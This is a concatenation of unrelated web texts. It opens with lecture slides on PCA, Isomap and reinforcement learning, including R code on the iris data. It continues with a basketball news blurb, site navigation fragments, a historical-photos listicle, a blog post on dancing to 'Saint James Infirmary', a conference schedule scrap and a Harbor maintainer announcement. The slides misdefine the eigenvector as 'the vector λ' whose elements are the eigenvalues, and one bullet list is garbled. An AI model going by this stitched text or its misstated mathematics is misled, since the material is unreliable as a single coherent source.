preserve the variation. --- # Math (continued) The eigen vector of linear transformation matrix `\(A\)` is the vector `\(\lambda\)` that satisfies `\begin{align*} Ax &= \lambda Ix\\ (A-\lambda I)x &= 0 \end{align*}` The elements of the vector `\(\lambda\)` are known as .hi[eigen values], or characteristic roots, of the linear transformation `\(A\)` - The linear transformation we are interested in is a rotation of our data such that one of our variables vanishes As a side note, there is an alternative way to get the eigen values of the transformation which is called .hi[Singular Value Decomposition (SVD)] which you might hear about; it's a slightly different method to get to the same answer --- # Uses of PCA PCA is quite useful, particularly in the following areas: - Text analysis (text meaning) - Image recognition (facial expressions -- see also [Eigenfaces](https://en.wikipedia.org/wiki/Eigenface)) - Recommender systems (compress clicks and likes into "tastes") - Many others --- # Pros and Cons of PCA - Pros - Fairly easy to compute - Intuitive - Massively popular - Cons - New variables are much less interpretable - Restricted to linear transformations - May not improve performance of a classification or regression task, since there may be nonlinear relationships that PCA will destroy --- # How to do PCA in R There are many possible ways to do PCA in R. For today, we will use the `princomp` function included in base R First, we will do the computation "brute force" and then we will use the built-in function which automates a lot of the process for us .scroll-box-10[ ```r # computing eigen values of correlation matrix cormat <- X %>% cor(.) print(cormat) # Sepal.Length Sepal.Width Petal.Length Petal.Width # Sepal.Length 1.0000000 -0.1175698 0.8717538 0.8179411 # Sepal.Width -0.1175698 1.0000000 -0.4284401 -0.3661259 # Petal.Length 0.8717538 -0.4284401 1.0000000 0.9628654 # Petal.Width 0.8179411 -0.3661259 0.9628654 1.0000000 print(eigen(cormat)$values) # [1] 2.91849782 0.91403047 0.14675688 0.02071484 # compute eigen vectors v <- eigen(cormat)$vectors # [,1] [,2] [,3] [,4] # [1,] 0.5210659 -0.37741762 0.7195664 0.2612863 # [2,] -0.2693474 -0.92329566 -0.2443818 -0.1235096 # [3,] 0.5804131 -0.02449161 -0.1421264 -0.8014492 # [4,] 0.5648565 -0.06694199 -0.6342727 0.5235971 print(crossprod(v)) # should be identity matrix # [,1] [,2] [,3] [,4] # [1,] 1.000000e+00 1.316246e-16 -6.015309e-17 3.731518e-17 # [2,] 1.316246e-16 1.000000e+00 -1.138979e-16 4.413915e-17 # [3,] -6.015309e-17 -1.138979e-16 1.000000e+00 -1.679304e-16 # [4,] 3.731518e-17 4.413915e-17 -1.679304e-16 1.000000e+00 # do PCA using base R function prcomp. this function automatically scales the data for you prin.comp <- prcomp(X, scale. = T) # show eigen vectors (will be same as v) print(prin.comp$rotation) # Rotation (n x k) = (4 x 4): # PC1 PC2 PC3 PC4 # Sepal.Length 0.5210659 -0.37741762 0.7195664 0.2612863 # Sepal.Width -0.2693474 -0.92329566 -0.2443818 -0.1235096 # Petal.Length 0.5804131 -0.02449161 -0.1421264 -0.8014492 # Petal.Width 0.5648565 -0.06694199 -0.6342727 0.5235971 # show eigen values print(prin.comp$sdev^2) # Standard deviations (1, .., p=4): # [1] 2.91849782 0.91403047 0.14675688 0.02071484 # which components explain the most variance? prop.var.explained <- prin.comp$sdev^2/sum(prin.comp$sdev^2) print(prop.var.explained) # [1] 0.729624454 0.228507618 0.036689219 0.005178709 # keep only the first three components (since these explain 99.5% of the variance) reducedX <- prin.comp$x[,-4] ``` ] --- # Isomap: Nonlinear dimensionality reduction - PCA is great, but only works well for relationships that are linear - As an example, *The Master Algorithm* discusses finding the principal component of latitude and longitude of cities along San Francisco Bay -- from San Francisco, moving southeast to San Jose, then moving northwest to Oakland - These cities are all more or less on the same road (see picture below) .center[ <img src="bayCities.png" width="343" /> ] --- # Isomap - If we use PCA in the Bay Area example, it will draw a line right down the middle of SF bay, which will no be useful for us - The true level of dimension reduction would have us express the distance from San Francisco along the one major road - It just so happens that that road is non-linear, so PCA won't be of much help to us - .hi[Isometric Feature Mapping (Isomap)] provides a way to do non-linear dimension reduction --- # How Isomap works - Isomap is built on the k-nearest neighbor principle - Each data point is linked to its k-nearest neighbors and the distance between them is recorded - Then, Isomap finds a reduced set of coordinates that best preserves the distances between nodes (groups of k-nearest neighbors) --- # Pros and Cons of Isomap - Pros - Works well if relationships in the data are not *too* nonlinear - Cons - In many cases will not outperform PCA (see [here](http://www.whuang.org/papers/whuang2012_ivc.pdf)) - More vulnerable to outliers and other abnormalities of the data --- # Using Isomap in R ```r library(RDRToolbox) isomapped <- Isomap(data=as.matrix(X), dims=3, k=5) XreducedNL <- isomapped$dim3 ``` You can then do analysis on the non-linearly reduced data as you would anything else --- # Other resources There are many other non-linear dimensionality reduction methods, see [here](https://en.wikipedia.org/wiki/Nonlinear_dimensionality_reduction) for a complete list. Most popular are: - Kernel PCA (where we apply a nonlinear function to our data before doing PCA) - Local-linear embedding (LLE) which operates similarly to Isomap, but may have different properties --- # Reinforcement learning - .hi[Reinforcement learning] provides a framework by which computers can learn strategies in games - This presents a more general definition of the word "learn" than we have been talking about in this course (we've mainly focused on out-of-sample prediction as "learning") - The reinforcement learning framework has its roots in optimal control theory (think: optimal stopping problem) --- # Reinforcement learning components - an agent - an environment - a set of actions that the agent can perform (e.g. move bishop 3 spaces) - states of the world (e.g. set of spaces agent can move to; set of spaces occupied by opponent) - reward (e.g. win / lose) - rules specific to the task being performed The goal of the algorithm is to maximize the reward --- # Example: chess In chess: - .hi[reward:] only comes at the end of the game: +1 for a win, 0 for a draw, -1 for a loss - .hi[agent:] one of the players - .hi[environment:] chess board, rules of the game - .hi[set of actions:] all possible moves available to the agent when it is her turn - .hi[states:] the current position of all pieces on the board; the number of moves that have already taken place; etc. --- # Example: chess (continued) - Because the reward only comes at the end of the game, the algorithm may need to make "now-for-later" choices that appear to be costly, but in actuality result in a higher likelihood of reward. The agent may need to discount the future reward by some amount when deciding which action to take because the reward only happens at the very end - Put another way, the agent may be better off assigning some amount of .hi[expected reward] to each possible action and maximizing that. (In the chess example, you can think of "one move away from checkmate" as having a 100% likelihood of reward, "two moves away from checkmate" as also having a high reward, etc.) --- # Solving a reinforcement learning problem - How does one actually *solve* a reinforcement learning problem? - Following up on the previous note about working backwards from the reward, reinforcement learning problems are best solved by working backward from the reward and choosing the actions that yield highest expected value - There are advanced mathematical techniques that simplify the number of states that need to be visited to find the path of maximum reward, but we won't cover these in this class - If you're curious, Google "Bellman Equation" - There is also a lesson in life from this, in the following quote by Søren Kierkegaard: > Life can only be understood backwards; but it must be lived forwards --- # Example: going to college - Each of you has made a decision to attend college and enroll in the Master's program - Why did you do it? Because your expected reward from doing so exceeds your expected reward from not doing so - In living your life, you have begun solving your own reinforcement learning problem --- # Other applications - Reinforcement learning most naturally applies to any game of strategy - AlphaGo and AlphaZero employ reinforcement learning to build world-beating Go and Chess bots - In sports, teams can figure out better strategies and play-calling by engaging in reinforcement learning (though I'm not sure how often they actually do this!) - For example, the "3-point revolution" in the NBA came about because some teams realized that 3 points is more than 2 so that the expected reward can be greatly increased by attempting (and practicing) more 3-point shots --- # Exploration-Exploitation - Along with reinforcement learning, you'll also hear something called the "exploration-exploitation tradeoff" - This simply means that, by taking actions you know to be the highest-reward, you may be leaving left untaken actions that could lead to an even *higher* reward - Thus, the optimal strategy is to randomly deviate from the observed best path and further "explore" the state space (rather than continuing to "exploit" the states that you know about) --- # Exploration-Exploitation examples The exploration-exploitation tradeoff also has many applications to real life AI development It has been used to get robots to: - self-driving cars - balance poles - manage automated telephone dialogues - many, many others Many of our day-to-day activities are also the result of our human brain's innate ability to engage in reinforcement learning --- # Useful links * Nice [intro](https://docs.opencv.org/3.2.0/de/d4d/tutorial_py_kmeans_understanding.html) to k-means clustering * Technical [writeup](http://www.cs.columbia.edu/~mcollins/em.pdf) of EM algorithm for naive Bayes classification * Great [summary of PCA](https://towardsdatascience.com/a-one-stop-shop-for-principal-component-analysis-5582fb7e0a9c) from the *Towards Data Science* blog * More detailed [summary](https://www.analyticsvidhya.com/blog/2016/03/practical-guide-principal-component-analysis-python/) of how to do PCA in R and Python * Installation [instructions](https://rdrr.io/bioc/RDRToolbox/) for the `RDRToolbox` package (not available on CRAN) * [R script](https://github.com/tyleransom/DScourseS18/blob/master/MachineLearning/unsupervisedExamples.R) with all of the code contained in these notes


Carmelo Speaks on Returning to the NBA Following Blazers Debut: 'I Belong Here'
by VladTVCarmelo Anthony was the butt of many jokes following his stints in Oklahoma City and Houston. But after not getting an opportunity to play like many thought he deserved, Melo became a sort of sympathetic figure with fans across the league calling for a team to sign him. He found that opportunity in Portland and spoke about it after his first game with the team.
Source: twitter.com


CoviChecker
View Logs
(current)
Resources
Medicines
Parameters
Action
Another action
Something else here
Resources
search
Important Links
https://discord.gg/QGhGWqUMtq
https://t.me/joinchat/gkbQ8ivqSH04ODBl


SproutCore 2 Drum Sequencer Demo
keyboard shortcuts: any alphabetic key → play/stop
Created by Adam Murray, 2011
Winner


20 Rare Historical Photos That Show an Unusual Side of the Past
If you’ve ever wanted to jump into a time machine and see how people in the previous centuries played poker or tended to penguins in the zoo, this collection is just what you need. Most of these photos will probably never be shown in history books, so let’s take a sneak peek at the unusual side of our ancestors’ lives together.
Bright Side chose 20 historical photos that will make you look at the past from a completely different angle.
20. Sexy legs contest, 1930s
19. A nose shaping device for women, 1944
18. Boys in a record shop, 1957
17. Women having their legs painted instead of buying stockings, 1941
16. A zoo keeper giving penguins a shower, 1930
15. Construction workers on the Forth Road Bridge, 1961
14. A machine that can shave a dozen men at the same time, 1960
13. The most common way of lacing a corset with a foot, 1910s
12. A walking library, 1930
11. Drive-through shoe repair, 1938
10. Poker face mask, 1932
9. Cleaning and brushing suede shoes in tea kettle steam, 1950-1960
8. A cigarette machine that delivers pre-lit cigarettes, 1931
7. A buyer looking at a new bra and panty set being modeled for him, circa 1955
6. A Dutch boy learning how to skate, 1933
5. Rabbits race on Venice Beach, California, 1935
4. A dentist examining a school girl in the classroom, 1935
3. A height-stretching device, 1931
2. Women boxing on a roof, 1930s
1. A bicycle that can ride on both land and water, 1932
Did the photos above make you want to travel to the past and see all these things with your own eyes? Where and when would you like to go?
Preview photo credit Fox Photos / Stringer / Getty Images, Fox Photos / Stringer / Getty Images


{% extends "_post.html" %}
{% hyde
title: "Keep Calm and Carry On"
snip: "You don't always need to be sexy."
created: 2010-11-05 16:30:00
flattr: true
%}
{% block article %}
I've been dancing quite a bit lately, both going to exchanges and teaching
blues dancing with [Lady Luck Blues][llb]. I haven't written anything about
dancing in quite a while, so I figured it was time for another blog post.
This post will be about a particular idea (or if you prefer: "pet peeve") of
mine about blues dancing today. I'm going to take a while to get to the point,
but I think it's worth the reading.
[llb]: http://ladyluckblues.com/
[TOC]
Saint James Infirmary
---------------------
For this post I'm going to use a very popular song as an example: "Saint James
Infirmary". I'm sure almost every blues dancer has heard this song at some
point (probably many times).
There are *many* versions of this song around. Here's one if you'd like to
listen to it to refresh your memory:
["Saint James Infirmary" by Snooks Eaglin on YouTube][sji].
[sji]: http://www.youtube.com/watch?v=23VSDneTo60
What is this Song About?
------------------------
Saint James Infirmary is a very old song. There's a great overview of its
history on [the Wikipedia page][wiki].
Let's take a look at the lyrics and try to figure out what the song is trying
to say. The first verse goes (roughly) like this:
>I went down to Saint James infirmary,
>saw my baby there.
>She was stretched out on a long white table,
>so sweet, so cold, so fair.
The first thing we learn about the song is that the singer's lover has died.
He goes to the morgue to view her body. We can already tell that this is not
going to be a happy song.
Let's look at the next verse:
>Let her go, let her go, god bless her
>wherever she may be.
>She can look this whole world all over
>and never find another man like me.
In the first part of this verse the singer is accepting the fact that his lover
is dead, and wishing her well in any afterlife she may be in. The second part
is a bit less clear, but he seems to be telling us that there's no man on Earth
that loves (or, rather, "loved") her like he does.

All of a sudden the singer is talking about his *own* death. What happened?
The singer's lover died, he accepted her death, and now he gives instructions
on what to do when he dies. I'm sure some people will disagree, but to me it
definitely seems like he's contemplating suicide.
Now that we've got a pretty clear idea of the "mood" of this song, I want to
talk about what bothers me about how many blues dancers seem to dance to it.
[wiki]: http://en.wikipedia.org/wiki/Saint_James_Infirmary
The Problem
-----------
Blues dancing is commonly seen as a "sexy" dance. There's good reason for
this: many blues songs are lewd and suggestive, so being sexy as you dance fits
the music.
The problem I see often is that dancers get comfortable in one "mood" of
dancing (usually "sexy") and don't bother to explore other ones.
Almost without fail I see people dancing to Saint James Infirmary and trying
(often succeeding) to be sexy. They use lots of hip and body movement like
they do with other blues songs.
I want to say something to them.

Saint James Infirmary is *not* a "sexy" song. It's about death and suicide,
not hooking up!
Would you ask someone for a date at their friend's funeral? No? Then why
would you dance like that to this song? It doesn't make sense and it's
completely inappropriate.
We often talk about "musicality" in dance classes, but often it's just about
"hitting the breaks right." There's more to it than that. Reflecting the
music in your dancing isn't just about hitting the notes, it's about matching
the *mood* of the song too!
The Solution
------------
Now is the time when I'm supposed to tell you how to fix things. I'm not the
best dancer out there, and it's hard to describe dancing in text, but I'll do
my best.
If you don't agree with the specific things I mention that's completely cool --
my goal is to at least get people *thinking* about these ideas, not to tell
them one specific way to implement them.
### Followers
The one major thing I'd like to tell followers is: "stop being sexy." There
are songs where that is completely appropriate, but this is not one of them.
If you're only used to trying to be sexy, what can you do instead?
The simple answer is: "just follow." Don't worry about adding styling if
you're not comfortable with it -- a solid follower is much more fun to dance
with than one that's trying to force a style she has no experience with.
The more complicated answer is: "use styling that reflects the mood of the
song." Unfortunately I don't have much experience with following so I can't
really describe this. Take a private lesson with someone like
[Mike Legett][mike] or [Carsie Blanton][carsie] if you want to get a more
informed opinion.
[mike]: http://www.mikethegirl.com/
[carsie]: http://www.carsieblanton.com/
### Leaders
As a leader, when I dance to this song I think about taking on one of two
personas:
* The singer -- someone who has just lost a lover.
* A friend of the singer that is comforting him (or her, if my follower is
female).
In both cases I try to eliminate any "swagger" or "bravado" from my styling
(not that I personally use much of that anyway). Funerals are not the place to
be an alpha male.
If I'm taking on the singer's persona (someone that has lost a lover) I'll
usually dance in a "ballroomy" style. I'll use short movements (like muffled
sobs) punctuated by larger, sweeping movements (cries or wails). I'll (gasp)
slightly collapse my posture just a tiny bit to express the depression.
If I choose the other case (comforting someone) I won't collapse my posture at
all. I'll try to represent the shoulder that someone would cry on when their
lover dies. I'll try to be strong, confident and solid, but not really
"manly."
In both cases I'll almost always stay in close embrace for the whole song.
Whether you're comforting someone or being comforted, a hug is usually helpful
in dark times, so it feels appropriate to use close embrace.
There are many other things you could do as a leader that would fit the song.
As long as you're conciously thinking of them and not just defaulting to
a style you're comfortable with, I'm happy.
The Real Problem
----------------
Having said all that, I actually think the problem I've described is more of
a symptom, and there's a more fundamental problem with our community (and
culture in general) today:
**People don't simply *listen* to music any more.**
They hear music while dancing, or put on headphones while doing homework, or
turn on the radios in their cars, but they never just sit down to *listen* to
a song without doing anything else.
Many years ago, families would sit around the radio during the evenings and
just listen to the music. Today the radio has been replaced by television, so
we no longer even have those hours.
Dancers may be dancing provocatively to Saint James Infirmary because *they
don't even realize it's a sad song*! Even though they've heard it many times
it never really registers, because they're always focusing on something else
when they hear it.
The Real Solution
-----------------
This root problem has a much more clear solution: **listen to music, damn it!**
Here's the basic idea:
* Find a good album. Ask around, there are plenty out there.
* Find a good pair of headphones. Your iPod earbuds do not count. Borrow a pair
if necessary.

* Start the album.
Now that you're finally listening, what should you be trying to hear? Here are
a few suggestions:
* Try just listening to a couple of songs. Take in the lyrics (if they have
them) and the overall "mood" of the instruments.
* Listen to the energy of the songs. Jazz and blues musicians will usually make
the energy rise and fall throughout the song.
* Pick a single instrument and listen to it for an entire song. Try not to let
your mind wander -- really focus on just one instrument. This is where a decent
pair of headphones will really help.
* Pick a different instrument and listen to it for an entire song. Try to notice
differences in how the two instruments play. For example, a bassist will often
be playing for the entire song, while a horn player will frequently stop playing
while others are soloing.
Once you've listened to the entire album, without stopping, get a notebook and
write down some of the things you noticed. You don't have to have any amazing
revelations -- the point is to make yourself put into words what you're
hearing.
Do this at least once or twice a week for a few months.
Putting down these thoughts on paper will help you wrap your head around music
when you hear it during a dance. After a while you'll start hearing structure
and themes in the music and can adjust your dancing to match them.
Music is the foundation of dancing, so the more we listen the better our
dancing will be.
We'll all become better dancers if we just stop and *listen*.
{% endblock %}


-
Breakfast
8th Floor
Tutorials are a separate registration and are $150 per session. Buy tutorial tickets before they sell out!
8th Floor
Auditorium (G-06)
Classroom (F-95)
MBA Lounge & Cafe
Tutorials are a separate registration and are $150 per session. Buy tutorial tickets before they sell out!
8th Floor
Auditorium (G-06)
Classroom (F-95)
MBA Lounge & Cafe


Today we are announcing the addition of two new maintainers for the Harbor project. We are grateful for their contributions and are looking forward to a long and impactful involvement.
kofj is an engineer at Qihoo 360, a well-known internet security company. Frank is in charge of operating and maintaining the company’s internal container registry platform which is built on top of Harbor. He has deep experience of Harbor and is very actively involved in the Harbor community.
Frank made very important contributions in V1.7, developing the build history feature. Now he’s a member of the replication workgroup which is committed to deliver the next generation replication service in V1.8.
His nomination request is approved in PR.
@mmpei works at Netease where he’s focused on container related work. MingMing is one of the primary developers and maintainer of Netease’s container registry service which makes use of Harbor.
MingMing is very actively involved in the Harbor community and made very important contributions in V1.7. He implemented the database logger for the running job in a very tight timeline. Now he’s a member of the replication workgroup which is committed to deliver the next generation replication service in V1.8. In addition, he’s also committed to deliver the webhook feature which will benefit the Harbor CI/CD integration scenario in the next release.
His nomination request is approved in PR.
Again, welcome Frank and MingMing!
No matching community articles found at this time.